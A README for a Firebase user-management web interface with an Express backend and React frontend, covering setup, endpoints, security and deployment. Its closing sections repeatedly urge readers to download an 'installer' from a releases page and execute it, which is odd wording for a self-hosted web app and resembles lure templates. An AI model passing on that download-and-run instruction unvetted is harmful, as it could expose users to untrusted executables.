https://github.com/kharn1/UserManagementUI/releases

A clean, fast web interface for managing users in a Firebase project. This project uses the Firebase Admin SDK on the server side to perform common tasks like listing, creating, editing, and deleting users. The UI is built with modern web tooling to be easy to run locally and straightforward to deploy.

• Topics: express,express-js,firebase,firebase-admin,firebase-admin-sdk,firebase-auth,react,reactjs,shadcn-ui,sqlite3,vite,webui

• What you get: a single-page app (SPA) backed by a small Express server. The backend talks to Firebase to perform user management actions. The frontend renders a responsive UI with a focus on accessibility and a smooth user experience. You can run it for development or run it in production with a proper hosting setup.

• Why this project exists: many teams need a simple, shared UI for Firebase user administration. It helps admins see who exists in the project, add new users, modify attributes, reset passwords, and remove accounts when needed. It also provides a clean API surface for integrations and automations.

• Quick tour: you will find a backend service built with Express. It exposes endpoints that the React frontend consumes. The frontend uses a component library inspired by a popular design system, providing a consistent look and feel with a calm, confident UI. The data layer on the backend leverages the Firebase Admin SDK and, optionally, a local SQLite3 store for lightweight metadata or caching.

Overview and philosophy

• Simple, predictable workflows: the UI mirrors common admin tasks so teams can onboard new users quickly and keep existing accounts up to date.
• Security-first defaults: the server side enforces access controls and validates input before calling Firebase Admin APIs.
• Extensible architecture: the project is designed to be extended with new admin actions, additional authentication schemes, or alternative data stores.

What’s inside

• A backend server: an Express-based API that talks to Firebase Admin SDK to manage users. It includes endpoints for listing users, creating users, updating user attributes, and deleting users.
• A frontend UI: a React-based interface that fetches data from the backend and renders it in a clear, responsive layout. It supports real-time-ish updates, in-page search, and bulk actions.
• A lightweight data store (optional): an SQLite3 database that can hold lightweight metadata and audit logs for admin actions.
• A cohesive design system: components and styles inspired by a component library approach to ensure consistency across screens.

Getting started

• Prerequisites
  • Node.js (14.x or newer) and npm or yarn
  • A Firebase project with a service account key (JSON) file
  • A basic understanding of Firebase Admin SDK permissions
• Quick start checklist
  • Clone the repository
  • Copy the service account key to a secure location
  • Install dependencies
  • Configure environment variables
  • Run the backend and frontend in development mode
• Core concepts
  • Firebase Admin SDK handles privileged operations on users
  • The backend exposes REST-like endpoints for the frontend
  • The frontend provides a user-friendly view for common admin tasks
  • Optional SQLite3 store can be used to cache metadata or logs

Repository structure

• backend/
  • src/
    • index.js: server bootstrap
    • routes/
      • users.js: endpoints for listing, creating, updating, and deleting users
    • services/
      • firebaseAdmin.js: initializes the Admin SDK
      • sqliteStore.js: optional local store integration
    • middlewares/
      • auth.js: simple access control layer
  • package.json
  • .env.example
• frontend/
  • src/
    • main.jsx: app entry
    • App.jsx: route definitions and layout
    • components/
      • UserList.jsx
      • UserForm.jsx
      • Header.jsx
      • Footer.jsx
    • hooks/
      • useUsers.js: data fetching hook
    • pages/
      • UsersPage.jsx
      • UserEditPage.jsx
      • UserCreatePage.jsx
    • styles/
      • theme.css
  • index.html
  • vite.config.js
  • package.json
• shared/
  • types/
    • user.ts: TypeScript types for user data (if you enable TS)
  • constants.js: shared constants between backend and frontend
• docs/
  • architecture.md
  • security.md
  • troubleshooting.md
• scripts/
  • dev.sh: start both backend and frontend in development mode
  • build.sh: production build helpers
• sqlite/
  • data/
    • admin_logs.db (optional)
• LICENSE
• README.md (this file)

How to run locally

• Install and prepare
  • Ensure you have Node.js and npm installed.
  • Place your Firebase service account key JSON somewhere secure, e.g. config/serviceAccountKey.json.
  • Create an environment file for the backend with at least:
    • FIREBASE_SERVICE_ACCOUNT_PATH=config/serviceAccountKey.json
    • FIREBASE_DATABASE_URL=https://.firebaseio.com
    • PORT=3001 (or any available port)
• Install dependencies
  • From the repository root:
    • npm install --prefix backend
    • npm install --prefix frontend
• Start the backend
  • npm run dev --prefix backend
• Start the frontend
  • npm run dev --prefix frontend
• Access the UI
  • Open http://localhost:3000 (or the port you configured)
  • The app will show a list of users and actions to add, edit, or delete users
• Quick test
  • In the backend, you can create a test user using the endpoint:
    • POST /users
    • Body: { "uid": "sampleUser", "email": "sample@example.com", "password": "changeme123" }
  • In the frontend, click Add User and fill the form, then submit
• Production build
  • Build the frontend and backend for production
  • Serve the static build with your preferred hosting stack
  • Ensure your hosting environment can securely load the Firebase service account key or use a secure secret manager

Environment variables and configuration

• Backend
  • FIREBASE_SERVICE_ACCOUNT_PATH: path to the service account JSON file
  • FIREBASE_DATABASE_URL: the database URL for Firebase
  • PORT: backend port (default 3001)
  • ALLOWED_ORIGINS: CORS origins allowed to call the API
• Frontend
  • REACT_APP_API_BASE_URL: base URL for the backend API
  • REACT_APP_ENABLE_SENTRY: enable error tracking (optional)
• Security considerations
  • Do not expose the service account key to the frontend
  • Use server-side authentication for admin routes
  • Validate inputs thoroughly on the backend
  • Apply rate limiting to admin endpoints

API reference (backend)

• GET /users
  • Description: Retrieve a paginated list of users from Firebase
  • Response example:
    • { "users": [ { "uid": "...", "email": "...", "displayName": "...", "disabled": false, "providerData": [] }, ... ], "nextPageToken": "..." }
• POST /users
  • Description: Create a new user in Firebase
  • Body: { "uid"?: "...", "email": "...", "password"?: "...", "displayName"?: "...", "phoneNumber"?: "...", "disabled"?: false }
  • Response example: { "uid": "newUserUid" }
• GET /users/:uid
  • Description: Get a single user by UID
  • Response example: { "uid": "...", "email": "...", "displayName": "...", "disabled": false }
• PUT /users/:uid
  • Description: Update a subset of a user’s attributes
  • Body: { "email"?: "...", "displayName"?: "...", "phoneNumber"?: "...", "disabled"?: false }
  • Response: { "success": true }
• DELETE /users/:uid
  • Description: Delete a user from Firebase
  • Response: { "success": true }

Frontend usage and UX

• A clean, responsive UI for desktop and mobile
  • Lists of users with quick search and filters
  • Inline edit or a dedicated edit view
  • Form validation with clear error messages
  • Confirmation prompts for destructive actions
  • Keyboard accessible controls and screen reader friendly labels
• Key screens
  • User list: sortable columns, search, and bulk actions
  • Create user: guided form with required fields
  • Edit user: update display name, email, password, and status
  • Delete user: confirmation and audit logging
• Design system notes
  • The UI uses a consistent color system for success, error, and warning states
  • Typography chosen for readability on small screens
  • Components emphasize clarity and minimal cognitive load

Security and access control

• Server-side enforcement
  • Admin routes require a valid auth token or session
  • Validate user’s authorization before performing any operation
• Sensitive data handling
  • Do not expose private keys or credentials
  • Do not log sensitive fields like passwords
• Audit trails
  • Optional SQLite store can record who performed what action and when
  • Audit data can be queried for compliance or troubleshooting

Data model and integration with Firebase

• User object mapping
  • uid, email, displayName, phoneNumber, disabled, metadata
• Password handling
  • Passwords are handled only during creation and updates via the Admin SDK
  • Never read or export passwords from Firebase
• Custom claims
  • You can extend the admin API to set custom claims for role-based access
  • Use custom claims cautiously and only for server-initiated logic

SQLite3 as an optional store

• Why add SQLite3
  • Lightweight metadata cache for admin actions
  • Simple audit log storage without requiring a full database cluster
  • Easy to back up and migrate during local development
• Typical schema
  • admins_actions (id, admin_uid, action, target_uid, timestamp, details)
  • users_cache (uid, email, displayName, last_seen, source)
• Basic operations
  • Insert logs on each create/update/delete
  • Update cache after successful Firebase operations
  • Simple queries for recent activity and user status

Deployment considerations

• Dockerized setup (optional)
  • Create a Dockerfile for the backend
  • Create a separate image for the frontend
  • Use docker-compose to link backend, frontend, and optional SQLite store
• Hosting options
  • Deploy the backend to a Node.js-friendly host
  • Serve the frontend as a static site or through a lightweight server
  • If you deploy to a platform where you can store secrets, use it for the Firebase service account
• Performance tips
  • Cache user lists if appropriate, with a short TTL
  • Use pagination on the backend for large Firebase projects
  • Optimize frontend rendering with memoization for large lists
• Observability
  • Enable basic logging on the backend
  • Add simple error reporting hooks to the frontend
  • Consider integrating a metrics endpoint for health checks

Testing strategy

• Unit tests
  • Backend: test user CRUD functions using a mock Firebase Admin SDK
  • Frontend: test component rendering and form validation
• Integration tests
  • Validate end-to-end flows: list, create, update, delete
  • Use a dedicated Firebase test project to avoid affecting production data
• Manual testing
  • Run through standard admin workflows manually
  • Verify error handling on invalid inputs
  • Check UI accessibility with screen readers and keyboard navigation

Accessibility and internationalization

• Accessibility
  • All controls have visible, descriptive labels
  • Focus states are clearly visible
  • Dialogs and modals have proper ARIA roles
• Internationalization
  • The app can be extended to support multiple languages
  • Text strings can be moved to locale files
  • Right-to-left support can be introduced with minimal changes

What to customize in your deployment

• Branding
  • Change logos and color tokens to match your organization
  • Update header text and page titles
• Environment-specific values
  • Use different Firebase projects for development and production
  • Separate database URLs if you use multiple backends
• Access control policy
  • Integrate your identity provider and adjust access rules
  • Implement role checks that map to your internal policy

Screenshots and visuals

• UI preview
  • The design favors a clean, uncluttered layout with a left navigation rail and a main content area
  • The user list uses card-like rows with quick actions
• Screenshots
  • Screenshot 1: User list view
  • Screenshot 2: Create user form
  • Screenshot 3: Edit user panel
  • Screenshot 4: Admin audit view
• Images from sources
  • Firebase branding and logos are included to indicate integration points
  • Sample UI illustrations can be drawn from publicly available SVGs for design reference

Release notes and versioning

• How releases are organized
  • Each release bundles the latest backend and frontend builds
  • Release assets include prebuilt frontend bundles and server-ready packages
  • A changelog accompanies each release describing fixes and enhancements
• How to read a release
  • Check the release notes for breaking changes, migration steps, and known issues
  • Review the assets to pick the correct build for your environment
• Accessing releases
  • The project maintains a dedicated Releases page for artifact downloads and release notes
  • See the Releases page for the latest assets and documentation

Contributing

• How to contribute
  • Fork the repository
  • Create a feature branch with a clear name
  • Open a pull request with a detailed description
  • Include tests and documentation when you add new features
• Coding guidelines
  • Write small, focused functions
  • Keep formatting consistent with the project style
  • Add comments where the logic may be unclear
• Local setup for contributors
  • Build and run locally as described in the getting started section
  • Run tests and linters if provided
• Contact and community
  • Engage via issues and discussions on GitHub
  • Respect the project’s code of conduct

Roadmap

• Planned enhancements
  • Support for bulk user operations with safe batch processing
  • More granular audit logging with export options
  • Enhanced UI with drag-and-drop import of user data
  • Advanced search with field-based filtering
  • Support for multiple Firebase projects from a single UI
• Experimental ideas
  • Offline mode for read-only access
  • Admin templates for common user roles
  • Role-based dashboards showing user distribution by attribute

Troubleshooting

• Common issues
  • Backend cannot connect to Firebase: check service account path and database URL
  • Frontend cannot fetch users: verify API base URL and CORS settings
  • Password creation fails: ensure the Admin SDK can set a password on new users
• Quick fixes
  • Restart both backend and frontend services after configuration changes
  • Confirm the service account key has sufficient permissions
  • Verify environment variables are loaded in the hosting environment
• Logs to examine
  • Backend logs for Firebase errors and API errors
  • Frontend console logs for API request failures and UI issues

License

• This project is released under the MIT License.
• See the LICENSE file for details.

Releases and download guidance

• The primary distribution is found on the Releases page linked above. If you need to fetch assets, visit the Releases page to download the appropriate installer or build artifacts. The page contains platform-specific assets and release notes to guide you through setup. If the link has a path part, you should download the relevant artifact and execute it as described in the release instructions. For quick access, you can revisit the Releases page at any time to grab the latest version and read the accompanying notes. See the Releases page for the latest assets and documentation.

Releases page reference

• For artifact download and release notes, visit the Releases section at https://github.com/kharn1/UserManagementUI/releases. This page contains the latest builds and the steps needed to install or run them. If you want to download a specific asset, use the download links on that page and follow the on-page instructions. You can also browse the changelog and compatibility notes there. If the link changes or the page is unavailable, check the Releases section in the repository for alternatives or updated pointers. The Releases page is the primary source for obtaining official builds and updates.